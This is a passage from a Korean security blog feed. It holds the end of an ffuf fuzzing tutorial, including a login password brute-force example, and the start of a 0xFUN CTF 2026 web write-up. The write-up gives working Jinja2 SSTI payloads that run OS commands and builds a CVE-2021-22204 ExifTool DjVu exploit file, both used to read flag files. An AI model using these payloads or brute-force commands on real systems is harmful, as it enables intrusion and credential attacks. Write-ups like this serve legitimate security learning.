&lt;pre id=&quot;code_1771761747435&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-fs 1234         # 응답 크기가 1234바이트인 결과 제외&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 응답 단어 수 기반 필터&lt;/p&gt;
&lt;pre id=&quot;code_1771761761925&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-fw 42           # 단어 수가 42개인 결과 제외&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 응답 라인 수 기반 필터&lt;/p&gt;
&lt;pre id=&quot;code_1771761790159&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-fl 10           # 라인 수가 10인 결과 제외&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 정규식 필터&lt;/p&gt;
&lt;pre id=&quot;code_1771761810512&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-fr &quot;not found&quot;  # 응답 본문에 &quot;not found&quot;가 포함된 결과 제외&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;사용 예시&lt;/h4&gt;
&lt;pre id=&quot;code_1771761892682&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u &quot;http://target.com/page?FUZZ=test&quot; -w /usr/share/wordlists/params.txt -fc 404
# GET 파라미터 퍼징, 404 상태코드 제외

ffuf -u &quot;http://target.com/page?FUZZ=W2&quot; -w params.txt:FUZZ -w values.txt:W2 -fc 404
# 두 개이상의 값을 동시에 퍼징할려면 위와 같이 각각의 키워드에 워드리스트를 대응시켜야함.
# params.txt:FUZZ -w values.txt:W2 이런식으로 작성

ffuf -u http://target.com/login -X POST \
  -d &quot;username=admin&amp;amp;password=FUZZ&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  -w /usr/share/wordlists/rockyou.txt -fc 401
# -X 옵션으로 메소드 결정
# -d 옵션으로 데이터 포함
# -H 옵션으로 헤더 설정
# curl 옵션과 동일&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;가상 호스트(서브 도메인) 탐색 예시&lt;/h4&gt;
&lt;pre id=&quot;code_1771762968685&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u http://target.com -H &quot;Host: FUZZ.target.com&quot; \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 1234   # 기본 페이지 크기를 필터링&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;헤더 퍼징 예시&lt;/h4&gt;
&lt;pre id=&quot;code_1771762994356&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u http://target.com/admin -H &quot;X-Forwarded-For: FUZZ&quot; -w ips.txt&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;쿠키/인증 포함 퍼징 예시&lt;/h4&gt;
&lt;pre id=&quot;code_1771763074510&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u http://target.com/FUZZ -w wordlist.txt \
  -b &quot;session=abc123&quot; \           # 쿠키
  -H &quot;Authorization: Bearer {token}&quot;  # 인증 헤더
# -b 옵션은 HTTP 요청에 쿠키를 포함시키는 역할&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;재귀 탐색 (깊이 탐색)&lt;/h4&gt;
&lt;pre id=&quot;code_1771763274756&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2

-recursion                # 재귀 탐색 활성화
-recursion-depth 3        # 최대 깊이 설정 (기본값: 0 = 무제한, 위험!)
-recursion-strategy greedy  # 전략 설정

설정
default - 응답 코드가 리다이렉트인 경우에만 디렉토리로 판단하고 재귀 진입
greedy - 매칭 된 모든 결과에 대해 재귀 진입&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;기타 주요 옵션 정리&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-t : 스레드 수 결정, 기본 40. 스레드 1당 한개의 요청을 동시에 보냄.&lt;/li&gt;
&lt;li&gt;-rate : 초당 요청 수 제한 옵션&amp;nbsp;&lt;/li&gt;
&lt;li&gt;-timeout : 요청 타임아웃 (초) 설정&lt;/li&gt;
&lt;li&gt;-o : 결과를 파일로 저장&lt;/li&gt;
&lt;li&gt;-of : 출력 형식을 지정&lt;/li&gt;
&lt;li&gt;-ic : 워드리스트의 코멘트 무시 (주석 무시)&lt;/li&gt;
&lt;li&gt;-ac : 기본 응답을 자동으로 걸러주는 옵션&lt;/li&gt;
&lt;li&gt;-s : 결과만 출력하는 사일런트 모드 설정&lt;/li&gt;
&lt;li&gt;-p : 요청 간 딜레이(초) 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/워게임 (웹 해킹)</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/194</guid>
      <comments>https://yoongarret.tistory.com/194#entry194comment</comments>
      <pubDate>Sun, 22 Feb 2026 22:24:24 +0900</pubDate>
    </item>
    <item>
      <title>[0xFUN CTF 2026] Web write-up</title>
      <link>https://yoongarret.tistory.com/193</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;917&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EVVvq/dJMb99ZErPd/vvxXPfhI1afocQQKiU5a2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EVVvq/dJMb99ZErPd/vvxXPfhI1afocQQKiU5a2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EVVvq/dJMb99ZErPd/vvxXPfhI1afocQQKiU5a2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEVVvq%2FdJMb99ZErPd%2FvvxXPfhI1afocQQKiU5a2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1905&quot; height=&quot;917&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;917&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매번 CTF 참가하고 라이트업 쓰려하니, 문제 서버가 바로 닫혀서 못 쓰다가 이번엔 풀면 바로바로 써서 저장해두려합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web 분야의 문제들만 풀어보았습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Templates&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKHdFh/dJMcadVdleg/GVE7Ao36nzx9OEKkKnxLL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKHdFh/dJMcadVdleg/GVE7Ao36nzx9OEKkKnxLL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKHdFh/dJMcadVdleg/GVE7Ao36nzx9OEKkKnxLL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKHdFh%2FdJMcadVdleg%2FGVE7Ao36nzx9OEKkKnxLL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;484&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web 중 WarmUp에 분류되어있던 쉬운 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제명부터 탬플릿이니 아마 SSTI겠죠&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1QGbF/dJMcabXq5m9/gWQtrMAKLi59YNfZNN0iqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1QGbF/dJMcabXq5m9/gWQtrMAKLi59YNfZNN0iqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1QGbF/dJMcabXq5m9/gWQtrMAKLi59YNfZNN0iqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1QGbF%2FdJMcabXq5m9%2FgWQtrMAKLi59YNfZNN0iqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;677&quot; height=&quot;336&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수상한 입력폼이 보입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSTI라고 가정하고 {{7*7}}을 넣어보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;190&quot; data-origin-height=&quot;76&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l71bu/dJMcahXE52s/KWZWmoE9IbjWse2VnYSKtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l71bu/dJMcahXE52s/KWZWmoE9IbjWse2VnYSKtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l71bu/dJMcahXE52s/KWZWmoE9IbjWse2VnYSKtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl71bu%2FdJMcahXE52s%2FKWZWmoE9IbjWse2VnYSKtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;190&quot; height=&quot;76&quot; data-origin-width=&quot;190&quot; data-origin-height=&quot;76&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보시다싶이 7*7의 계산값인 49가 나왔습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{{config}}를 입력해보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHF8D0/dJMcaajWmoM/hynyz1HyIvD2sCir7aVUu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHF8D0/dJMcaajWmoM/hynyz1HyIvD2sCir7aVUu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHF8D0/dJMcaajWmoM/hynyz1HyIvD2sCir7aVUu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHF8D0%2FdJMcaajWmoM%2Fhynyz1HyIvD2sCir7aVUu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;306&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 잘 작동하네요.&lt;br /&gt;이를 이용해서 os 명령어를 실행하여 flag를 찾아보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771061048610&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config가 가능하다는걸 알았기에 config 속성을 타고타고 globals의 os명령어에 닿을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 flag 파일의 존재 유무도 모르기에 루트 디렉토리 부터 찾아보겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;55&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUVMOL/dJMcag5w32T/GuvbwOSzheRhrXkr86EO9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUVMOL/dJMcag5w32T/GuvbwOSzheRhrXkr86EO9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUVMOL/dJMcag5w32T/GuvbwOSzheRhrXkr86EO9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUVMOL%2FdJMcag5w32T%2FGuvbwOSzheRhrXkr86EO9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;732&quot; height=&quot;55&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;55&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;app 디렉토리에 아마 문제 파일이 있을거같죠?&lt;br /&gt;app디렉토리도 보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771061355506&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;158&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kZmTz/dJMcadnnPiE/7s38gqhyQQxWvTQdMwq4r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kZmTz/dJMcadnnPiE/7s38gqhyQQxWvTQdMwq4r1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kZmTz/dJMcadnnPiE/7s38gqhyQQxWvTQdMwq4r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkZmTz%2FdJMcadnnPiE%2F7s38gqhyQQxWvTQdMwq4r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;158&quot; height=&quot;61&quot; data-origin-width=&quot;158&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 찾았네요.&amp;nbsp;&lt;br /&gt;cat 명령어로 /app/flag.txt의 내용을 보면&lt;/p&gt;
&lt;pre id=&quot;code_1771061435905&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;393&quot; data-origin-height=&quot;44&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biwRKW/dJMcaajWmq2/jJNeiOEhJtyB08itSW6eB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biwRKW/dJMcaajWmq2/jJNeiOEhJtyB08itSW6eB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biwRKW/dJMcaajWmq2/jJNeiOEhJtyB08itSW6eB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiwRKW%2FdJMcaajWmq2%2FjJNeiOEhJtyB08itSW6eB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;393&quot; height=&quot;44&quot; data-origin-width=&quot;393&quot; data-origin-height=&quot;44&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 플래그를 획득 할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG : &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;0xfun{Server_Side_Template_Injection_Awesome}&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;2. Shell&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RYYFW/dJMcaaxtU4a/ZkcnL13eEZfQnzYA8iKrWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RYYFW/dJMcaaxtU4a/ZkcnL13eEZfQnzYA8iKrWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RYYFW/dJMcaaxtU4a/ZkcnL13eEZfQnzYA8iKrWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRYYFW%2FdJMcaaxtU4a%2FZkcnL13eEZfQnzYA8iKrWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;678&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목처럼 Shell을 이용하는 문제 같네요.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EXIF 메타데이터를 이용해서 flag.txt를 읽으면 되는것 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9H5FV/dJMb99SRix0/repp6VraJaMJkqeN50HZAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9H5FV/dJMb99SRix0/repp6VraJaMJkqeN50HZAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9H5FV/dJMb99SRix0/repp6VraJaMJkqeN50HZAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9H5FV%2FdJMb99SRix0%2Frepp6VraJaMJkqeN50HZAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;219&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 서버에 들어가니 저렇게 파일을 업로드 할 수 있는 기능만 주어졌습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 exif 관련한 cve가 풀이방법일 것 같아서 찾아보니 딱 알맞는 cve를 찾았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVE-2021-22204를 보면 DjVu모듈의 문자열파싱 메커니즘에 허점이있어서 \c 라는 특수한 이스케이프 뒤에 ${system... } 같은 시스템 명령어가 삽입되는 취약점이 있다고합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 아래와 같은 방식으로 익스플로잇 파일을 만들었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771153026211&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo -n '(metadata &quot;\c${system('cat /flag.txt')};&quot;)' &amp;gt; payload

bzz payload payload.bzz

djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTz=payload.bzz

mv exploit.djvu exploit_v3.jpg&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bzz로 압축 후 djvu 형식으로 파일을 만들어 cve와 동일하게 jpg파일을 만들었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 cat 명령어를 더블쿼터로 감쌌더니 재대로 작동을 안해서, 싱글쿼터로 감싸주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 문제에 올려보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;605&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIPjOM/dJMb99L4JSv/fnjJVdaW3gruNQiwEBfXa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIPjOM/dJMb99L4JSv/fnjJVdaW3gruNQiwEBfXa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIPjOM/dJMb99L4JSv/fnjJVdaW3gruNQiwEBfXa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIPjOM%2FdJMb99L4JSv%2FfnjJVdaW3gruNQiwEBfXa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;605&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;605&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 플래그가 출력됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG : 0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. Perceptions&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;504&quot; data-origin-height=&quot;516&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/udpOb/dJMb996pfQv/bZHNLPtKNbQ42CdNl70So1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/udpOb/dJMb996pfQv/bZHNLPtKNbQ42CdNl70So1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/udpOb/dJMb996pfQv/bZHNLPtKNbQ42CdNl70So1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FudpOb%2FdJMb996pfQv%2FbZHNLPtKNbQ42CdNl70So1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;516&quot; data-origin-width=&quot;504&quot; data-origin-height=&quot;516&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명처럼 블로그 페이지를 보여줍니다.&lt;/p&gt;
